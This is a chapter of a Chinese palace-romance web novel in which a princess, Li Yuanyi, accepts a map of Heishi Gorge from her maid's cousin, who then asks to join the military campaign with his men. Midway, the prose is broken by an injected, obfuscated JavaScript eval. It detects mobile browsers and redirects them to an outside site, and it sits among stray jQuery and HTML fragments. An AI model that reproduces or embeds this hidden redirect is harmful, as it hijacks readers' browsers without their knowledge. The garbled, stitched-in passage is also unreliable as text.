30. 不情之请

黎元仪闻言怔了怔,原来他是在细思这处反常,并不是在暗暗生她的气。


她顿时松了口气,脑海中随即浮现起前世今生见过的几次王冕。


詹信所言不错,摈除杂念一心追求无情无欲圣人之道的王冕连穿衣都只挑白袍,印象里就没见他穿过旁的颜色。


前尘往事此刻也一齐浮现于脑海,她当时分明也计较过这救命恩人衣服上头的反常,却不是因为颜色,而是因为——过于简朴。


她自出生起便深居宫中,长到七岁出宫那日前,所见之人无非都是些皇室宗亲、世家女眷,再来便是日常伺候的宫人们。


换句话说,在此之前她所接触到的人,即便是宫人,也都是绫罗加身,绸缎云履,打扮得体光鲜之人。


因此,即便那日落水仓皇,她与那少年距离咫尺的时刻不过几个瞬间,但她在很长一段时间内都能清晰忆起他急奔而来救她时的形状。


他和她之前所遇到的所有人都不同。


一身黑衣的他,简练朴素之极,周身半点装饰也无,连簪发所用的都是半截枯枝,周身没有半丝世家养尊处优的气息,有的却是难得一见的果决机警和当机立断的魄力。


也正因此,虽已从母后处得到确切的身份信息,她却还是觉得哪里不太对劲,有心要再问一问当时在场的宫人。


未料,打探后却得知,那些宫人因办差不力,早些时日已全被发落出宫去了。


她失了旁人的见证,彻底断了线索,母后却像看出她心思般时不时提及,王冕虽为世家贵公子,难能可贵的是他崇尚简朴、不爱铺张,品德才行皆为世家贵胄子弟中的翘楚。前次回京虽是为祖母贺寿,却不欲大张旗鼓地声张,这才简衣轻装,快马来回奔波。


见她仍有微词质疑,母后当时还笑着嗔怪了一句她不晓民间世事、过于天真童稚,说王冕若作平常世家公子的装扮,青城山到邺京这一来一回的路途上,恐怕要遭遇好些次劫匪袭扰,费时误事不说,还会有性命之忧。


至此,她也只能认可这个说法。


黎元仪的垂下眼眸,视线落在詹信被束袖遮挡严实的手腕伤痕处。


虽然方才乍一看见,她立刻生出了奇怪的联想。


可,这世上哪里会有这么巧合的事?


黎元仪微微摇头挥散满脑纷杂的思绪,明日大军开拔在即,战事严峻,此时此刻继续在这里抖落陈芝麻烂谷子的旧事也没甚意思。


她随即起身抚平裙褶,笑着指了指停在不远处的马车,“时候不早了,我们这便上车回府罢。”


两人一道上了马车,此时正逢平日里午膳时刻,黎元仪自觉有些饿了,想起方才在寺中与詹信提及的素面,也不知他去尝了不曾。


“万佛寺的素面出了名的鲜美爽口,且有祈福顺意的好兆头,方才留你一人许久,你可有去尝上一碗?”


詹信看向她摇了摇头,“臣没有去尝。”


黎元仪有些奇怪。方才教他等了好一会儿,他既没有去吃面,那是在做什么?


还是说,他不喜欢吃面?


詹信看出她的疑惑,有些赧然地避开目光,用只有两人能听见的声音轻道,“臣想着,下回再有机会,臣想和殿下一道去吃面。”


马车内寂静片刻,两人的呼吸声都乱了一瞬。


詹信的头朝着黎元仪的方向微侧,却依旧没有抬眸看她。


他踌躇间,磕磕绊绊地补了句闲话:“方才也没等很久,臣在寺院中随意走了走,心旷神怡,颇有助益,很是神清气爽......”


语无伦次间,他也不知道自己确切说了什么,只是说着说着声音渐渐低下去。


话音彻底落下后,詹信静静等了片刻,却没有等到那个想听的声音应允,他的心落了再落,终于有些按耐不住地抬起那双漆黑的眸子望向身旁的人。


目光触及静静看着他已不知多久的那双仿佛能看穿所有隐藏心绪的含水杏眸,詹信的心像又活了一次般,不受控地剧烈颤跳起来。


黎元仪浑然不知眼前人内里的波澜,她只是笑眯眯地看着他,声线像咬下糖葫芦外层薄脆的糖壳一般甜蜜酥脆——


“那我们可约好了,待你此行得胜归来,我们便一道再来这万佛寺,尝一尝素面。”


*


回到府中用过午膳,黎元仪对着单子正想再核对一遍装点好的东西是否有遗漏,余光里却瞥见雨莲沿着回廊神色匆匆而来。


她眼睫微闪,将手中展开的单子递给一旁的管事,“你亲自再核对一遍。”


想来,是雨莲的表哥处来了消息。


主仆二人一道进了书房,关上门,雨莲却没有拿出意料之中的舆图。


黎元仪见她一幅欲言又止的模样,以为是为着她表哥没能画出舆图的事而为难、不知该如何交差,正要宽慰一二,雨莲却咬唇道出了实情。


“殿下恕罪,奴婢先替哥哥告罪一声...他想亲自面见殿下,递上舆图。”


闻言,黎元仪有些惊喜。雨莲的这个哥哥果真是见多识广,仅仅凭记忆就能画下黑石峡复杂的地势形貌和主要路线。


她笑着允道:“我还道是什么了不得的事,竟能为难得你开不了口,我前前后后麻烦了你哥哥许多事,很该早些安排见上一面好生言谢的。”


雨莲听了这话,微微摇头,眉眼间还是踌躇,却没有再说什么。


黎元仪拍了拍她的肩膀,“请你哥哥去偏厅小坐片刻,我随后就到,府里新到了一批渠江薄片,吩咐下去,沏了茶一道尝尝。”


望着雨莲的身影消失在门前,黎元仪隐隐猜到雨莲的哥哥这次除了舆图,或许还带了些别的话来。


不论如何,眼下多了份舆图就是好事,虽还是第一次出征摸着石头过河,但总归是添了丝胜算。


一柱香后,黎元仪于偏厅前的屏风后现身上座,等候在此的男子立刻起身抱拳行礼,声音浑厚响亮,中气十足:“草民傅椿生,拜见长公主殿下!”


黎元仪含笑伸臂示意,“不必多礼,快请入座。”


傅椿生也不推辞,回身落座,趁着雨莲上茶的功夫,黎元仪上下打量了一番面前的男子。他不愧曾是走南闯北多年的驿将,瞧着身姿挺拔壮实不说,威慑力也是不容忽视。


黎元仪想起之前雨莲说的,他如今靠卖肉为生,心下暗道可惜,这样的人若是抡个大刀上战场,不消出手,谁撞上他自个儿都要吓飞了魂去。


雨莲上了茶,端着个漆盘站到了黎元仪身后。</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432264|167620||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


>


黎元仪注意到,傅椿生端起茶盏,小心翼翼看了眼雨莲,抿了口茶,又看了第二眼,待放下茶盏,又看了第三眼。


黎元仪心中警铃大作,这个什么雨莲的表哥不会是来求娶雨莲,让她放人的罢......


虽说,终有一日她是要风风光光送雨莲出嫁的,可如今,还是太早太早了......


“咳咳......”黎元仪出声提醒。


傅椿生还算机灵,立刻会意,从怀中掏出一本册子递了上去:


“请殿下过目,这是黑石峡的舆图,前些年我还是驿将时,办差经过那地方好些次,因地势险峻又时有草匪结寨抢掠,这才多次细致勘察,几乎将那处刻在了脑中,希望对驸马此行有所帮助。”


黎元仪展开舆图细细看去,别看这傅椿生生得人高马大、四肢发达,光凭这份舆图便知,他就不是那头脑简单之人。


舆图之详尽细致,足见他的用心和稳妥,黎元仪满意地点头颔首,再看向傅椿生时,眼中带着欣赏之意。


“这份舆图定会派上大用处的,本宫替驸马一道,多谢你肯倾力相助。”


“殿下满意就好。”


话音刚落,傅椿生似是打定了主意,起身抱拳,向她直直弯腰躬身。


“殿下,草民这次前来,实是有要事相求。虽自知僭越,可还是想大着胆子,请殿下听一听,草民接下来的不情之请。”


他说得万分郑重,黎元仪瞥向身后的雨莲,她应当是已经知道傅椿生所求为何,面色僵硬不说,还透出股紧张,似乎并不愿意听到他接下来的话。


黎元仪抬手让傅椿生先起身:“不必这样客气,先坐下罢。”


傅椿生却仍维持着躬身的姿势,不肯坐下。


见状,黎元仪心下打鼓,也不知他如此坚持,是为着什么,“到底是何事,你不妨直说了罢。”


傅椿生应声道:“既然殿下愿意听,那草民就不绕什么弯子直说了。


草民和其余五百多个弟兄,想随驸马一道出征平叛!”


闻言,黎元仪只疑心是自己听错了,正要开口请傅椿生再说一遍,身后的雨莲却像是再也憋不住了,抹着眼睛,带着哭腔告了声罪,随即飞快地离开了偏厅。


见状,傅椿生脚下紧追两步,却又生生遏制住了步伐,只失魂落魄地站在原地,慢慢垂下了头。


这一出闹得,黎元仪更是二丈和尚摸不着头脑,她干笑两声,只能又请傅椿生先坐下再细谈。


好在傅椿生这会子没再坚持,他不发一言地在位置上坐定了。


黎元仪抿了口茶,静静看向此刻沉默不语的傅椿生,缓声道:


“方才你说的话,本宫没有听清。若你主意不改,可否再说一遍?”


傅椿生抬起头,神情依旧坚定,一字一句都透出他的决心:


“草民和其余五百多个弟兄,都想随驸马一道参战平叛!”


这个所谓的不情之请,确实是黎元仪走进偏厅之前未曾意料到的。


她缓缓放下手中茶盏,犹豫片刻还是拒绝了傅椿生:


“旁人未必知道,但本宫却很是清楚,此战颇为凶险,你和你的弟兄们不是军中常年练兵之人,还是不要掺和得好。”